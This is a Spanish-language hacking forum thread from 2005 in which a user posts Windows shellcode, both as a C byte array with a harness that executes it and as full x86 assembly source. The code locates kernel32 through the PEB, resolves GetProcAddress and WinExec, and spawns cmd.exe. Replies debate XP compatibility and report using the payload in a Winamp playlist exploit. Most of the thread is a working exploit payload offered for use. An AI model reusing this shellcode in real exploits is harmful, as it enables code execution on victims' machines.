elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 17:18  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  shellcode que ejecuta cmd -Multiwindows- codigo C y ASM
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: shellcode que ejecuta cmd -Multiwindows- codigo C y ASM  (Leído 3,874 veces)
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
shellcode que ejecuta cmd -Multiwindows- codigo C y ASM
« en: 31 Enero 2005, 07:29 »

bueno pos eso aqui la dejo, ejecuta cmd sin usar direcciones hardcodeadas por lo que funciona en todos los windows (win2k/xp). gracias a rojodos por aguntarme en modo "desequilibrao"  :P.

Código:
char shellcode[]=
 "\xEB\x29\x5D\x55\xC3\x47\x65\x74\x50\x72"
 "\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x01"
 "\x57\x69\x6E\x45\x78\x65\x63\x01\x63\x6D"
 "\x64\x2E\x65\x78\x65\x01\xFF\x01\x01\x01"
 "\x90\x90\x90\xE8\xD2\xFF\xFF\xFF\x8D\x45"
 "\xD5\x89\x45\xFC\x8B\xF8\xB0\x01\x33\xDB\xF2"
 "\xAE\xFE\x4F\xFF\x80\x3F\xFF\x75\xF6\x33"
 "\xC9\x83\xC1\x30\x64\x8B\x01\x83\xC0\x0C"
 "\x8B\x08\x83\xC1\x1C\x8B\x31\xAD\x8B\x40"
 "\x08\x89\x45\xF8\x8B\x40\x3C\x03\x45\xF8"
 "\x8B\x40\x78\x03\x45\xF8\x89\x45\xF4\x8B"
 "\x40\x20\x03\x45\xF8\x33\xD2\x33\xC9\x8B"
 "\x38\x03\x7D\xF8\x8B\x75\xFC\xB1\x0E\xF3"
 "\xA6\x74\x06\x83\xC0\x04\x42\xEB\xEC\xD1"
 "\xC2\x8B\x4D\xF4\x8B\x49\x24\x03\x4D\xF8"
 "\x03\xCA\x33\xDB\x66\x8B\x19\x8B\x45\xF4"
 "\x8B\x40\x1C\x03\x45\xF8\xC1\xC3\x02\x03"
 "\xC3\x8B\x18\x03\x5D\xF8\x8B\xF3\x8B\x45"
 "\xFC\x83\xC0\x0F\x50\xFF\x75\xF8\xFF\xD6"
 "\x8B\xC8\x8B\x45\xFC\x83\xC0\x17\x6A\x01"
 "\x50\xFF\xD1";
 
int main()
{
  void (*s)()= (void *)shellcode;
  s();
  return 0;
}

« Última modificación: 10 Febrero 2005, 13:35 por Rojodos » En línea
villa

Desconectado Desconectado

Mensajes: 27


Ver Perfil
Re: shellcode que ejecuta cmd
« Respuesta #1 en: 31 Enero 2005, 08:48 »

Pues puedes poner el codigo fuente??

gracias
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: shellcode que ejecuta cmd
« Respuesta #2 en: 31 Enero 2005, 09:11 »

ese es el codigo fuente de la shellcode  :P , que tal un foro de shellcodes para todos ir aprendiendo sobre esto?
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: shellcode que ejecuta cmd
« Respuesta #3 en: 31 Enero 2005, 09:13 »

Código:
.386
model flat,stdcall

extrn ExitProcess:proc

.data

db 0

.code

inicio:
      jmp codigo
      datos:
      pop ebp
      push ebp
      ret
      db "GetProcAddress",1
      db "WinExec",1
      db "cmd.exe",1
      dd 010101FFh
      nop
      nop
      nop

codigo:
      call datos
      lea eax,[ebp-2Bh]
      mov [ebp-4],eax
      mov edi,eax
      mov al,1h
      xor ebx,ebx
acero:
      repne scasb
      dec byte ptr [edi-1]
      cmp byte ptr [edi],0FFh
      jne acero

      xor ecx,ecx
      add ecx,30h
      mov eax,fs:[ecx]
      add eax,0Ch
      mov ecx,[eax]
      add ecx,1Ch
      mov esi,[ecx]
      lodsd
      mov eax,[eax+8h]
      mov [ebp-8],eax   ; base de kernel32
      ;#########################
      ;# Buscar GetProcAddress #
      ;#########################
      mov eax,[eax+03Ch]    ; PE
      add eax,[ebp-8h]
      mov eax,[eax+78h]   
      add eax,[ebp-8h]
      mov [ebp-0Ch],eax
      mov eax,[eax+20h]
      add eax,[ebp-8h]
      xor edx,edx
      xor ecx,ecx
Busca:
      mov edi,[eax]
      add edi,[ebp-8h]
      mov esi,[ebp-4]
      mov cl,0Eh
      rep cmpsb
      je OK
      add eax,4
      inc edx
      jmp Busca
OK:
      ;#########################
      ;# Calcular la direccion #
      ;#########################
      rol edx,1
      mov ecx,[ebp-0Ch]
      mov ecx,[ecx+24h]
      add ecx,[ebp-8h]
      add ecx,edx
      xor ebx,ebx
      mov bx,word ptr [ecx]
      mov eax,[ebp-0Ch]
      mov eax,[eax+1Ch]
      add eax,[ebp-8h]
      rol ebx,2
      add eax,ebx
      mov ebx,[eax]
      add ebx,[ebp-8h]
      mov esi,ebx

      mov eax,[ebp-4h] ; puntero a las cadenas
      add eax,0Fh
      push eax        ; WinExec
      push [ebp-8h]
      call esi  ; GetProcAddress
      mov ecx,eax
      mov eax,[ebp-4h]
      add eax,17h
      push 1
      push eax
      call ecx

      push 0
      call ExitProcess


end inicio               
En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: shellcode que ejecuta cmd
« Respuesta #4 en: 31 Enero 2005, 10:51 »

No podia dormir  ;D

Ya se de donde has sacado la idea de esta shellcode mamonazo  ;D De todas formas, ellos no la dan completa, solo el tema del PEB.

Es de algun paper de 29a? Acabo de leer dos o tres articulos suyos y me kedao  ::)  :o

Mañana me esperan unas buenas lecturas :)

Salu2
En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: shellcode que ejecuta cmd
« Respuesta #5 en: 31 Enero 2005, 21:29 »

pues he leido sobre el en varios sitios, informacion sobre la estructura aqui: http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html
En línea
RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: shellcode que ejecuta cmd -Multiwindows- codigo C y ASM
« Respuesta #6 en: 16 Febrero 2005, 21:57 »

Creo que te has colado con lo de que funciona en Windows XP. En el XP el codigo que maneja la interrupcion (el handler) no puede ir en la pila, si lo haces el programa genera una interrupcion no 'handleable' y sale del programa a toda leche sin posiblidad a hacer nada. En los demas windows si funciona. Ahora mismo no recuerdo si se reducia a la pila o cualquier memoria 'writeable'.

Los dos codigos funcionan en Windows XP porque el primero el array no va en la pila al ser una variable global inicializada, prueba a meterla dentro del main. O para comprobar lo de 'writeable' prueba a ponerle static delante.

En el segundo codigo todo el codigo (como me repito) va en el segmento de codigo (.code), con lo que no hay ningun problema, pero esa situacion obviamente no se puede reproducir en un programa ya compilado/ensamblado, o sea en la explotacion de un programa vulnerable.

Resumiendo, una shellcode que use SEH para averiguar direcciones en Windows XP no se puede hacer, o al menos no se como.

Saludos.

Crasse
« Última modificación: 16 Febrero 2005, 22:10 por Crasse » En línea

RaiSe | eNYe-Sec.org
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: shellcode que ejecuta cmd -Multiwindows- codigo C y ASM
« Respuesta #7 en: 17 Febrero 2005, 06:08 »

pues se probo en un xp y funcionaba (yo no lo vi, lo pase el archivo compilado y funcionaba). no tengo xp para poder hacer yo mismo las pruebas, pero vamos si no va... pues no va jeje.
En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: shellcode que ejecuta cmd -Multiwindows- codigo C y ASM
« Respuesta #8 en: 17 Febrero 2005, 06:11 »

Yo la he probado con static, y metiendola en el main () y no va xDDDDDDD

No se puede usar como shellcode para un exploit :(
En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: shellcode que ejecuta cmd -Multiwindows- codigo C y ASM
« Respuesta #9 en: 17 Febrero 2005, 06:17 »

hombre, pues en la prueba del winamp utilice esa shellcode y funcionaba.
En línea
RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: shellcode que ejecuta cmd -Multiwindows- codigo C y ASM
« Respuesta #10 en: 17 Febrero 2005, 06:24 »

Funcionaria, pero no en un Windows XP, o si?. Saludos.

Crasse
En línea

RaiSe | eNYe-Sec.org
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: shellcode que ejecuta cmd -Multiwindows- codigo C y ASM
« Respuesta #11 en: 17 Febrero 2005, 06:32 »

la prueba del exploit era en 2k sp4, no en xp. en xp funcionaba compilado el c.
En línea
RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: shellcode que ejecuta cmd -Multiwindows- codigo C y ASM
« Respuesta #12 en: 17 Febrero 2005, 08:44 »

Si, pero por eso que expuse en el primer post de este hilo. Saludos.
En línea

RaiSe | eNYe-Sec.org
TaU

Desconectado Desconectado

Mensajes: 184



Ver Perfil
Re: shellcode que ejecuta cmd -Multiwindows- codigo C y ASM
« Respuesta #13 en: 17 Febrero 2005, 14:19 »

La SC la probé yo tambien con el bug del winamp en un wXP Home SP2 y funcionó a la perfección.

De hecho Rojodos, creo que te pase un generador de m3u para ese bug que llevaba esa shell.

Pruebalo a ver si te va.


Salu2
En línea

"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres
Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán.
www.wadalbertia.org  -<|¡^P
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines